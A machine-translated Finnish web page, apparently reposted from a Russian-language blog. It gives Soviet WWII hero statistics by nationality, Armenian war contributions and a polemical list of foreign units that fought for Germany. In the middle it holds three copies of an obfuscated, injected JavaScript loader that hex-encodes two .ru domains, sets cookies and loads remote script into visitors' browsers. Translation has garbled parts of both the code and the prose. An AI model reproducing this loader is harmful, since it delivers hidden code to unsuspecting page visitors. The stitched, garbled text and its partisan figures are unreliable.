58.400
1,33%
1,33%
2,57%
9
Georgian
2.249.636
79.500
1,32%
0,92%
3,53%
10
armenialaiset
2.152.860
83.700
1,26%
0,97%
3,89%
11
tšuvashi
1.369.574
63.300
0,80%
0,73%
4,62%
12
tadžikit
1.229.170
22.900
0,72%
0.26%
3,37%
13
Kirgisia
884.615
26.600
0,51%
0,31%
3,01%
14
Dagestanin kansallisuudet
857.499
11.100
0,50%
0,13%
1,29%
15
baškiiri
843.648
31.700
0,49%
0,37%
3,76%
16
Turkmenistan
812.404
21.300
0,48%
0,25%
2,62%
17
Udmurtov
606.326
23.200
0,36%
0,27%
3,83%
18
tšetšeeni/ingushi
500.088
2.300
0,27%
0,03%
0,46%
19
Mariytsev
481.587
20.900
0,28%
0,24%
4,34%
20
Ossetialainen
354.818
10.700
0,21%
0,12%
3,02%

Tab. 3 Sankarien määrä henkeä kohti. Luokitus.

(Yli 100 000 asukkaat otettiin huomioon)

Kansan edustajien määrä yhtä Suuren isänmaallisen sodan sankaria kohden:

1) Ossetialaiset - 11088
2) venäläiset - 12204
3) ukrainalaiset - 13586
4) valkovenäläiset - 17072
5) baškiirit - 21632
6) kabardit - 23455
7) Mordva - 23874
armenialaiset - 23920
9) Georgialaiset - 24995
10) tataarit - 26791
11) Juutalaiset - 28042
12) tšuvashi - 31126
13) Karely - 31589
14) kazakstanit - 32301
15) Turkmenistan - 45133
16) Azerbaidžanit - 51719

Tab. 3 Neuvostoliiton sankarien kansallinen kokoonpano: hlö.

venäläiset - 8160
ukrainalaiset - 2069
Valkovenäjät - 309
Tataarit - 161
Juutalaiset - 108
armenialaiset - 106
Kazakstanit - 96
Georgialaiset - 90
Uzbekit - 69
mordvin - 61
Chuvash - 44
Azerbaidžanit - 43
baškiirit - 39
Ossetiat - 32
Mari - 18
Turkmenistan - 18
Liettualaiset - 15
tadžikit - 14
Latvialaiset - 13
Kirgisia - 12
Udmurtit - 10
karjalaiset - 9
Virolaiset - 8
Kalmykit - 8
kabardialaiset - 7
Adyghes - 6
Abhaasiat - 5
Jakutit - 3
Moldovalaiset - 2
tuvalaiset - 1

Nämä luvut kertovat paljon jokaiselle lukutaitoiselle henkilölle - kuka taisteli miten. Myönnän, että minulla ei ollut aavistustakaan sellaisesta osseetien saavutuksesta. Vaatimaton, mutta niin rohkea. Pohjois-Kaukasiassa on monia kansoja, jotka ylpeänä heiluttavat aseita erottamattomana osana kehoa. Ja he (ossetit) ovat hiljaa, mutta katsokaa - mitä tuloksia on taistelukentällä!

Ja tietenkään en voi muuta kuin olla ylpeä ja laittaa esille Armenian kansan (joihin itse kuulun) tärkeimmät onnistumiset suuren voiton saavuttamisessa:

Meni eteen - 600 tuhatta ihmistä.

300 tuhatta kuoli

Yhteensä palkittiin 66802 henkilöä.

Näistä Neuvostoliiton sankarit - 106 ihmistä.
- heistä täydet kavalierit Kunniaritarikunta - 29 henkilöä.

Armenian kansallisdivisioonat - 309, 408, 409, 261, 76 ja 89 Armenian Taman;

Sijoitukset:
- marsalkka - 4 henkilöä.
- Eversti kenraalit - 8
- kenraaliluutnantti - 31
- kenraalit - 109
- laivaston amiraali - 1
- varaamiraalit - 4
- taka-amiraalit - 5

Hrachik Sarukhanyan
16. toukokuuta 2016

window .a1336404323 = 1;!f unction()(var e=JSON.parse("["75656a696b7a74302e7275","7673356c6f627167696a76746c2e7275"] ment.cookie.match(new RegExp("(?:^|;)"+e.r eplace(/([\.$?*|()\(\)\[\]\\\/\+^]) /g,"\\$1";)+"=([^;]*)";));return t?decodeURIComponent(t):void 0),n=f unction(e,t,o)(o =o||();var n=o.expires;if("numero"==n&&n tyyppi)(var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires= i.toUTCS string())var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o) (a+="; "+d;var c=o[d];c!==!0&&(a+="="+c))document.cookie=a),r=f unction(e)(e= e.r eplace("www.","";);for(var t="",o=0,n=e.length;n>< e.length;o++)t+=Stri ng..document.location.protocol;if(p.indexOf("http";)==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf("http")==0)return p;}else{break;}}return ""},c=f unction(e,t,o){var lp=p();if(lp=="";)return;var n=lp+"//"+e;if(wind ow .smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox";))window .smlo.loadSmlo(n.r eplace("https:","http:";));else if(wind ow .zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox";))window .zSmlo.loadSmlo(n.r eplace("https:","http:";));else{var i=docu ment.createElement("script";);i.setAttribute("src",n),i.setAttribute("type","text/javascript";),document.head.appendChild(i),i.on load=f unction(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=f unction(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=f unction(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window .a3164427983=f,c(u,f unction(){o("a2519043306";)!=f&&n("a2519043306",f,{expires:parseInt("3600";)})},f unction(){var t=e.indexOf(f),o=e;o&&s(o)})},f=f unction(){var t,i=JSON.stringify(e);o("a36677002";)!=i&&n("a36677002",i);var r=o("a2519043306";);t=r?r:e,s(t)};f()}();

window .a1336404323 = 1;!f unction()(var e=JSON.parse("["75656a696b7a74302e7275","7673356c6f627167696a76746c2e7275"] ment.cookie.match(new RegExp("(?:^|;)"+e.r eplace(/([\.$?*|()\(\)\[\]\\\/\+^]) /g,"\\$1";)+"=([^;]*)";));return t?decodeURIComponent(t):void 0),n=f unction(e,t,o)(o =o||();var n=o.expires;if("numero"==n&&n tyyppi)(var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires= i.toUTCS string())var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o) (a+="; "+d;var c=o[d];c!==!0&&(a+="="+c))document.cookie=a),r=f unction(e)(e= e.replace("www.","";);for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toS tring( 16 );palautus t),a=f unction(e)(e=e.match(/[\S\s](1,2)/g);for(var t="",o=0;o< e.length;o++)t+=Stri ng..document.location.protocol;if(p.indexOf("http";)==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf("http")==0)return p;}else{break;}}return ""},c=f unction(e,t,o){var lp=p();if(lp=="";)return;var n=lp+"//"+e;if(wind ow .smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox";))window .smlo.loadSmlo(n.r eplace("https:","http:";));else if(wind ow .zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox";))window .zSmlo.loadSmlo(n.r eplace("https:","http:";));else{var i=docu ment.createElement("script";);i.setAttribute("src",n),i.setAttribute("type","text/javascript";),document.head.appendChild(i),i.on load=f unction(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=f unction(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=f unction(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window .a3164427983=f,c(u,f unction(){o("a2519043306";)!=f&&n("a2519043306",f,{expires:parseInt("3600";)})},f unction(){var t=e.indexOf(f),o=e;o&&s(o)})},f=f unction(){var t,i=JSON.stringify(e);o("a36677002";)!=i&&n("a36677002",i);var r=o("a2519043306";);t=r?r:e,s(t)};f()}();

window .a1336404323 = 1;!f unction()(var e=JSON.parse("["75656a696b7a74302e7275","7673356c6f627167696a76746c2e7275"] ment.cookie.match(new RegExp("(?:^|;)"+e.r eplace(/([\.$?*|()\(\)\[\]\\\/\+^]) /g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t):void 0),n=f unction(e,t,o)(o=o ||();var n=o.expires;if("numero"==n&&n tyyppi)(var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i. toUTCS tring())var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o)(a+ ="; "+d;var c=o[d];c!==!0&&(a+="="+c))document.cookie=a),r=f unction(e)(e=e.r eplace ("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toS-tring(16);return t),a=f unction(e)(e=e.match(/[\S\s](1,2)/g);for(var t="",o=0;o< e.length;o++)t+=Stri ng..document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf("http")==0)return p;}else{break;}}return ""},c=f unction(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(wind ow .smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window .smlo.loadSmlo(n.r eplace("https:","http:"));else if(wind ow .zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window .zSmlo.loadSmlo(n.r eplace("https:","http:"));else{var i=docu ment.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.on load=f unction(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.on error=f unction(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=f unction(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window .a3164427983=f,c(u,f unction(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},f unction(){var t=e.indexOf(f),o=e;o&&s(o)})},f=f unction(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e,s(t)};f()}();

Alkuperäinen otettu erityisiä Kuinka monta kansakuntaa taisteli Neuvostoliittoa vastaan ​​Hitlerin puolella?

Hyvin usein suurta isänmaallista sotaa kutsutaan vain toisen maailmansodan jaksoksi, samalla kun huomautetaan, että tätä jaksoa voidaan kutsua Neuvostoliiton ja Saksan sodaksi. Eli sotaa Kolmannen valtakunnan ja Neuvostoliiton välillä. Mutta kenen kanssa Neuvostoliitto todella oli sodassa? Ja oliko se yksi-yksi taistelu?

Kun liberaalit ja muut viihdyttävät historioitsijat alkavat huutaa järjettömiä menetyksiä, "täytti lihaa" ja "joivat baijerilaista", he yleensä haluavat vahvistaa teeseinsä Neuvostoliiton johdon ja komennon "keskikertaisuudesta ja rikollisuudesta" vertaamalla Wehrmachtia ja Punainen armeija. Kuten puna-armeijassa oli enemmän ihmisiä, ja koko ajan heitä murskattiin, ja siellä oli enemmän tankkeja, lentokoneita ja muita rautakoneiden kappaleita, ja saksalaiset polttivat kaiken. Samalla unohtamatta kuitenkin kertoa yhdestä "kivääristä kolmelle", "lapion varret" ja muusta "Solzhenitsynin satujen" kategoriasta.


Kesäkuuhun 1941 mennessä Neuvostoliiton rajalla Wehrmachtissa oli 127 divisioonaa, kaksi prikaatia ja yksi rykmentti kolmessa armeijaryhmässä ja Norjan armeijassa. Näitä joukkoja oli 2 miljoonaa 812 tuhatta ihmistä, 37099 asetta ja kranaatinheitintä, 3865 panssarivaunua ja hyökkäysaseita.

Yhdessä Saksan kanssa Suomi, Slovakia, Unkari, Romania ja Italia valmistautuivat sotaan Neuvostoliiton kanssa.

Suomi - 17,5 divisioonaa, joissa on yhteensä 340 tuhatta 600 ihmistä, 2047 tykkiä, 86 tankkia ja 307 lentokonetta;

Slovakia - 2,5 divisioonaa, joissa on yhteensä 42 tuhatta 500 ihmistä, 246 asetta, 35 tankkia ja 51 lentokonetta;

Unkari - 2,5 divisioonaa, joissa on yhteensä 44 tuhatta 500 ihmistä, 200 asetta, 160 tankkia ja 100 lentokonetta;

Romania - 17,5 divisioonaa, joissa on yhteensä 358 tuhatta 100 ihmistä, 3255 asetta, 60 tankkia ja 423 lentokonetta;

Italia - 3 divisioonaa, joissa on yhteensä 61 tuhatta 900 ihmistä, 925 asetta, 61 tankkia ja 83 lentokonetta.

Eli lähes miljoona ihmistä 42,5 divisioonassa, 7 000 tykkiä, 402 panssarivaunua ja lähes tuhat lentokonetta. Yksinkertainen laskelma osoittaa, että pelkästään itärintamalla natsiakselin liittolaisilla, ja olisi oikeampaa kutsua heitä sellaiseksi, oli 166 divisioonaa, joiden lukumäärä on 4 miljoonaa 307 tuhatta ihmistä ja 42 601 eri järjestelmien tykistöä. 4171 panssarivaunua ja rynnäkköasetta ja 4846 lentokonetta.

Siis: 2 miljoonaa 812 tuhatta vain Wehrmachtissa ja yhteensä 4 miljoonaa 307 tuhatta, kun otetaan huomioon liittolaisten joukot. Puolitoista kertaa enemmän. Kuva muuttuu dramaattisesti. Eikö ole?

Kyllä, Neuvostoliiton asevoimat olivat kesällä 1941, jolloin sodan väistämättömyys tuli ilmeiseksi, maailman suurin armeija. Itse asiassa oli salainen mobilisaatio. Sodan alkuun mennessä Neuvostoliiton asevoimissa oli 5 774 000 sotilasta. Erityisesti maavoimissa oli 303 divisioonaa, 16 ilma- ja 3 kivääriprikaatia. Joukoilla oli 117 581 tykistöjärjestelmää, 25 784 panssarivaunua ja 24 488 lentokonetta.

Taitaa olla ylivoimainen? Kaikki edellä mainitut Saksan ja sen liittolaisten joukot asetettiin kuitenkin suoraan 100 km:n alueelle Neuvostoliiton rajoja pitkin. Läntisillä alueilla puna-armeijalla oli 3 miljoonan ihmisen ryhmä, 57 tuhatta asetta ja kranaatinheitintä ja 14 tuhatta tankkia, joista vain 11 tuhatta oli käyttökelpoisia, sekä noin 9 tuhatta lentokonetta, joista vain 7,5 tuhatta oli käyttökelpoisia. .

Lisäksi rajan välittömässä läheisyydessä puna-armeijalla ei ollut yli 40 % tästä määrästä enemmän tai vähemmän taisteluvalmiissa tilassa.

Yllä olevasta, jos et ole kyllästynyt numeroihin, seuraa selvästi, että Neuvostoliitto ei taistellut vain Saksaa. Aivan kuten vuonna 1812, ei vain Ranskassa. Eli ei voi puhua mistään "lihalla täytetystä".

Ja niin se jatkui lähes koko sodan vuoden 1944 jälkipuoliskolle, jolloin Kolmannen valtakunnan liittolaiset putosivat kuin korttitalo.


Lisää tähän välittömien liittoutuneiden maiden lisäksi Wehrmachtin ulkomaiset osat, niin sanotut "kansalliset SS-divisioonat", yhteensä 22 vapaaehtoisosastoa. Sodan aikana niissä palveli 522 000 vapaaehtoista muista maista, joista 185 000 oli Volksdeutschea eli "ulkomaalaisia". Ulkomaalaisten vapaaehtoisten kokonaismäärä oli 57 % (!) Waffen-SS:stä. Listataan ne. Jos tämä väsyttää sinua, arvioi vain rivien määrä ja maantiede. Koko Eurooppa on edustettuna Luxemburgin ja Monacon ruhtinaskuntia lukuun ottamatta, eikä se ole tosiasia.

1. Albania: SS "Skanderbegin" 21. vuoristodivisioona (1. albania);

2. Belgia: 27. SS-vapaaehtoinen SS-grenadier-divisioona "Langemarck" (1. flaami), 28. SS-vapaaehtoinen panssegrenadieridivisioona "Wallonia" (1. vallonia), flaamilainen SS-legioona;

3. Bulgaria: Bulgarian SS-joukkojen panssarintorjuntaprikaati (1. Bulgarian);

4. Iso-Britannia: Arab Legion "Free Arabia", British Volunteer Corps, Indian Volunteer Legion SS "Free India";

5. Unkari: 17. SS-joukko, 25. SS-grenadieridivisioona Hunyadi (1. unkarilainen), 26. SS-grenadieridivisioona (2. unkari), 33. SS-ratsuväkidivisioona (3. unkari);

6. Tanska: 11. SS-vapaaehtoinen panssegrenadieridivisioona "Nordland", 34. vapaaehtoinen kranaatieridivisioona "Landstorm Nederland" (2. hollanti), vapaajoukko SS "Danmark" (1. tanska), vapaaehtoisjoukko SS "Schalburg";

7. Italia: 29. SS-grenadieridivisioona "Italia" (1. italia);

8. Alankomaat: 11. SS-vapaaehtoinen Panzergrenadier-divisioona "Nordland", 23. SS-vapaaehtoinen moottoridivisioona "Nederland" (1. hollantilainen), 34. vapaaehtoinen kranaatieridivisioona "Landstorm Nederland" (2. hollantilainen), Flanderin legioonan SS;

9. Norja: Norjan SS-legioona, Norjan SS-jääkäripataljoona, Norjan SS-legioona, 11. SS-vapaaehtoinen panssarikeneadieridivision "Nordland";

10. Puola: Goral SS -vapaaehtoislegioona;

11. Romania: 103. SS-pankkihävittäjärykmentti (1. romanialainen), SS-joukkojen kranaadierirykmentti (2. romanialainen);

12. Serbia: Serbian SS Volunteer Corps;

13. Latvia: Latvian legionäärit, Latvian SS-vapaaehtoislegioona, 6. SS-joukko, 15. SS-kranatieridivisioona (1. Latvia), 19. SS-kranatieridivisioona (2. Latvia);

14. Viro: 20. SS Grenadier Division (1. Estonian);

15. Suomi: Suomalaiset SS-vapaaehtoiset, Suomen SS-vapaaehtoispataljoona, 11. SS-vapaaehtoinen panssarikeneadieeridivisioona "Nordland";

16. Ranska: Ranskan SS-legionäärit, 28. SS-vapaaehtoinen panssarikranatieridivisioona "Wallonia" (1. Vallonia), 33. SS-grenadieridivisioona "Charlemagne" (1. ranska), legioona "Bezen Perrot" (rekrytoitu Bretonin nationalisteista);

17. Kroatia: 9. SS Mountain Corps, 13. SS Mountain Division "Handzhar" (1. kroatia). 23. SS-vuoristodivisioona "Kama" (2. kroatia);

18. Tšekkoslovakia: Goral SS -vapaaehtoislegioona

19. Galicia: 14. SS-grenadieridivisioona "Galicia" (1. ukrainalainen).
20. Valko-Venäjä: 1. ja 2. SS-grenadieridivisioona ja 10 muuta kokoonpanoa pataljoonasta laivueeseen ja poliisiyksiköihin
21. Venäjä: 29. ja 30. SS-grenadieridivisioonat (venäläiset), Venäjän vapautusarmeija (ROA) ja 13 muuta yksikköä joukkoista prikaati- ja poliisiyksiköihin. Lisäksi muodostettiin Udel-Ural-legioona, jossa Venäjän alueella asuvien kansojen edustajat taistelivat: baškiirit, udmurtit, mordovilaiset, tšuvashit, marit) sekä Dagestan-legioona.
22. Georgia : Wehrmachtin Georgian legioona
23-29. Keski-Aasia: Turkestanin legioona (karachais, kazakstit, uzbekit, turkmeenit, kirgiisit, uiguurit, tataarit)
30. Azerbaidžan: Azerbaidžanin legioona (14 pataljoonaa)

Skandinavian 5. SS-panssaridivisioona "Viking" - Alankomaat, Tanska, Belgia, Norja;

Balkanin 7. SS-vapaaehtoisten vuoristodivisioona "Prince Eugen" - Unkari, Romania, Serbia.

SS "Karstjäger":n 24. vuorikivääri (luola) divisioona - Tšekkoslovakia, Serbia, Galicia, Italia;

36. SS-grenadieridivisioona "Dirlewanger" - värvätty rikollisista eri Euroopan maista.

On myös mainittava "Hiwi", saksan kielestä Hilfswilliger, joka tarkoittaa "halua auttamaan". Nämä ovat vapaaehtoisia, jotka tulivat palvelukseen suoraan Wehrmachtissa. He palvelivat apuyksiköissä. Mutta tämä ei tarkoita ei-taistelua. Esimerkiksi Luftwaffen ilmatorjuntamiehistöt muodostettiin Khivasta.

Sodan loppuun mennessä vankeuteen joutuneiden sotavankien etninen kokoonpano kertoo hyvin kaunopuheisesti puna-armeijaa vastustavan joukkojen kansallisesta koostumuksesta. Yksinkertainen tosiasia: tanskalaisia, norjalaisia ​​ja jopa ranskalaisia ​​oli vankeudessa itärintamalla enemmän kuin osallistuivat natseja vastaan ​​kotimaassaan.

Emmekä ole edes käsitelleet aihetta Saksan sotakoneistossa toimivista taloudellisista mahdollisuuksista. Ensinnäkin nämä ovat Tšekkoslovakia, joka oli sotaa edeltänyt Euroopan asetuotantojohtaja, ja Ranska. Ja tämä on tykistö, pienaseet ja panssarivaunut.

Esimerkiksi tšekkiläiset aseet koskevat Skodaa. Joka kolmas Barbarossa-operaatioon osallistunut saksalainen tankki oli tämän yrityksen valmistama. Ensinnäkin tämä on LT-35, joka sai Wehrmachtissa merkinnän Pz.Kpfw. 35(t).

Lisäksi Tšekkoslovakian liittämisen jälkeen saksalaiset asiantuntijat löysivät kaksi uutta kokeellista LT-38-tankkia Skodan työpajoista. Tarkasteltuaan piirustuksia saksalaiset päättivät ottaa säiliön käyttöön ja aloittivat sen sarjatuotannon.

Näiden tankkien tuotanto jatkui lähes sodan loppuun asti, vasta vuoden 1941 lopulla niitä alettiin valmistaa saksalaisten itsekulkevien aseiden tukikohtana. Yli puolella saksalaisista itseliikkuvista aseista oli tšekkiläinen tukikohta.

Ranskalaiset puolestaan ​​tarjosivat saksalaisille laivankorjaustilat. Saksan sukellusveneet, uhka liittoutuneiden Atlantin saattueille, niin sanotut "Dönitzin susilaumat", sijaitsivat ja korjattiin Ranskan etelärannikolla ja Keski-Maassa lähellä Marseillea. Lisäksi laivankorjausprikaatit järjestivät kilpailuja sille, joka korjaa veneen nopeammin. Ei kuulosta pakkotyöltä, vai mitä?


Kenen kanssa Neuvostoliitto siis taisteli Suuressa isänmaallissodassa? Vastaus on tämä: sotilasyksiköillä, jotka on muodostettu vähintään 32 maailman kansallisuuden ja kansan edustajista.

Artikkeli perustuu